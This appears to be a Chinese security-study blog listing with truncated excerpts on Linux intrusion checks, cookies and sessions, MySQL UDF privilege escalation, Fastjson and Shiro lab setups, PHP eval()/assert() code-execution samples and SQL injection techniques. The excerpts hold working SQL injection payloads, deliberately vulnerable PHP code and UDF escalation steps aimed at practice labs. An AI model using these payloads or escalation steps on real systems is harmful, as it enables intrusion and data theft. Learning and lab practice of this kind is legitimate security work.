who 查看当前登录用户
入侵排查1、查询特权用户特权用户(uid 为0)
awk -F: ‘$3==0{print $1}’ /etc/passwd
2、查询可以远程登录的帐号信息
awk ‘/$1|$6/{print $1}’ /etc/shadow
3、除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
more /etc/sudoers | grep -v “^#|^$” | grep “ALL=(ALL)”
4、 查看空口令账户
awk -F: ‘length($2)==0{print $1}’ /etc/shadow
5、 强制杀死进程
kill -9 PID
历史命令通过.bash_history查看帐号执行过的系统命令
1、root的历史命令
history
2、打开/home各帐号目录下的.bash_history,查看普通帐号的历史命令
端口netstat -a ...
JWT安全cookie(放在浏览器)cookie 是一个非常具体的东西,指的就是浏览器里面能永久存储的一种数据,仅仅是浏览器实现的一种数据存储功能。
cookie由服务器生成,发送给浏览器,浏览器把cookie以kv形式保存到某个目录下的文本文件内,下一次请求同一网站时会把该cookie发送给服务器。由于cookie是存在客户端上的,所以浏览器加入了一些限制确保cookie不会被恶意使用,同时不会占据太多磁盘空间,所以每个域的cookie数量是有限的
session(放在服务器)session 从字面上讲,就是会话。这个就类似于你和一个人交谈,你怎么知道当前和你交谈的是张三而不是李四呢?对方肯定有某种特征(长相等)表明他就是张三。
session 也是类似的道理,服务器要知道当前发请求给自己的是谁。为了做这种区分,服务器就要给每个客户端分配不同的“身份标识”,然后客户端每次向服务器发请求的时候,都带上这个“身份标识”,服务器就知道这个请求来自于谁了。至于客户端怎么保存这个“身份标识”,可以有很多种方式,对于浏览器客户端,大家都默认采用 cookie 的方式。
服务器使用session把 ...
MySQLudf提权udf = ‘user defined function’,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充
1、 如何获得udf文件
2、 将文件放到哪才能让mysql承认这个函数
3、 函数功能
4、 为什么这东西能提权(自定义函数指令是直接以管理员的权限运行的)
Sqlmapudf位置
/usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
暂时不能用,需要解码
cd /usr/share/sqlmap/extra/cloak
python3 cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
放到哪
123MySQL&l ...
web渗透
未读json完全独立于编程语言的文本格式来存储和表示数据,易于人阅读和编写。同时也易于机器解析和生成。任何支持的类型都可以通过 JSON 来表示,例如字符串、数字、对象、数组等。但是对象和数组是比较特殊且常用的两种类型。
fastjson(alibaba)Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象。
环境搭建docker换源
apt-get install docker
apt-get install docker-compose
reboot
service docker start
vulhubgit clone https://github.com/vulhub/vulhub.git
cd vulhub
cd fastjson
cd 1.2.24-rce
docker-compose up -d
8090端口
利用过程判断是否使用fastjson
首先将get方式修改为post
kali服务器主机搭建靶场:192.168.64.1 ...
shiro<=1.2.4
环境搭建centos安装docker
123456789101112131415161718192021222324252627282930换源wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo卸载原有dockeryum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine 安装依赖 yum install -y yum-utils \ d ...
漏洞成因WEB应用程序过滤不严谨,导致用户可以通过请求将代码注入到WEB应用进行执行。
代码最终是在WEB服务器中进行执行的。
代码执行相关函数eval()eval() 会将字符串当作php 代码执行
12345678<?phpif(isset($_GET['code'])){$code=$_GET['code'];eval($code);}else{echo "Please submit code!<br />?code=phpinfo();";}?>
assert()1234567<?phpif(isset($_GET['code'])){$code=$_GET['code'];assert($code);}else{echo "Please submit code!<br />?code=phpinfo()";}?>
call_us ...
报错注入
在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以进行报错注入。
注意:错误信息来自于 数据库 、 中间件 还是 Web 容器 。
extractvalue()
and extractvalue(1,concat(0x5e,(select database()),0x5e)) –+
布尔盲注
利用页面的布尔类型状态来进行判断,⽬标获取数据库名字。
计算数据库名字的长度
?id=1’ and length(database())=8–+
123456?id=2' and ascii(substr(database(),1,1))=115 --+# 115# s?id=2' and ascii(substr(database(),2,1))=101 --+# 115 101# s e
延时注入
http://127.0.0.1/sqllib/Less-8/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(5),1)–+
利用sle ...
sql注入原理针对SQL 的攻击行为可以描述为通过用户可控参数中注入SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击行为,其成因可以归结为以下两个原因叠加造成的:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL 语句。
2、未对用户可控参数进行足够的过滤,便便将参数内容拼接到SQL 语句中。
分类数字型 参数两边没有单双引号。
字符型 参数两边有单双引号。
如何判断
当id=2-1回显出id=1的值,就为数字型,字符串不会进行逻辑运算,只有整形数字才会运算
可能存在的位置根据SQL 注入漏洞的原理,在用户的“可控参数”中注入SQL 语法,也就是说Web 应用在获取用户数据的地方,只要带入数据库查询,都有可能存在SQL 注入的可能,这些地方通常包括:
GET 数据
POST 数据
cookie 数据
sql注入利用联合查询
联合查询是最常用的SQL 注入手法,有两个要求:一是字段数相同,二是数据类型相同。
联合查询可以跨库,跨表查询。
注入点的判断
?id=33 ?id=34 ?id ...
MySQL基础语法所有mysql语句的结尾,一定加上英文分号
查询1234567891011121314151617181920212223242526272829303132333435cmd>mysql -uroot -prootmysql> show databases; 查看有哪些数据库mysql> use mysql; 进入一个名字为mysql的数据库mysql> show tables; 查看当前数据库中有哪些表重要user表 中有哪些内容mysql> select * from user; 查看表mysql> desc mysql.user; 查看表结构primary key 主键mysql> select host,user,password from mysql.user where user='root';按条件查询 只看 3个字段 而且其中 user字段值为root的内容mysql> select host,user,password from mysql.user limit 10 ...